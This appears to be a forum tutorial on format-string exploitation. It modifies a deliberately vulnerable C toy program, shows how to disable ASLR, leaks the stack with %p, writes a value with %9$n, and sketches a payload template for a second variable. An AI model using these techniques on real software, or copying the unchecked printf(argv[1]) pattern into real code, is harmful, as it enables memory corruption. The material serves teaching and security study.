First of all, I recommend you read the book Hacking: The Art of Exploitation . It is very good.
Now I will try to explain how you can use your program. I assume you know some basics about formatting strings, so I don't need to start from the beginning. However, it is important to disable ASLR and compile the executable file without stack protection.
# disable ASLR @> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
I changed your program a bit, so it’s easier to understand how the exploit works:
#include <stdio.h> int num1 = 0xdead; int main(int argc, char **argv){ int num2 = 0xbeef; int *ptr = &num1; printf(argv[1]); if (num1 == 0xabc){ printf("Well done"); } if(num2 == 0xdef) printf("You are a format string expert"); printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2); return 0; }
I am using a 64 bit Ubunty system. The size of the pointer is 8 bytes.
Exploit
variable num1
First we try to change the variable num1 . The address num1 stored in ptr . ptr is the local variable main, so it is pushed onto the stack (int * type). To check the stack, we can use the %p format specifier.
@> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p
Conclusion:
0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040 [DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84]
We see that the 9th element has a value of 0x601040 . This is the same as the value in our debug message num1: 0xdead [0x601040] . Now we know that 0x601040 is a pointer to the variable num1 and is on the stack. To change this value (write to memory), we can use the %n format specifier in combination with Direct Parameter Access %9$n to write to the address that is stored in the ninth position of the stack.
To access the Well done message, we only need to write the values 0xabc to stdout and use %n to write this number in memory:
@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n
I am using python to generate this output. Now the program prints "Well done."
num2 variable
If we carefully consider the output, we will see that the 8th element has a beef value. This is our num2 variable. I still have not figured out how to use num2 , but I'm trying to explain how to do this in theory. We want to push an arbitrary memory address onto the stack. This address must be an address that points to num2 ( 0x7fffffffde84 ). After that, we can use the %n parameter to write to this address. To put an address on the stack, we can use a format string.
@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"`
The problem is that we have to find the location of this format string on the stack.
@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`
"A" and "B" are just a complement, and it’s also easier to find our address at the exit. The exploit is similar to the way num1 is used:
@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n
Problem. In our scenario, the address num2 is 0x7fffffffde84 (i.e. 0x00007fffffffde84 ). This address cannot be written because 0x00 is a C-String Terminator. Therefore, we cannot put the address in our format string.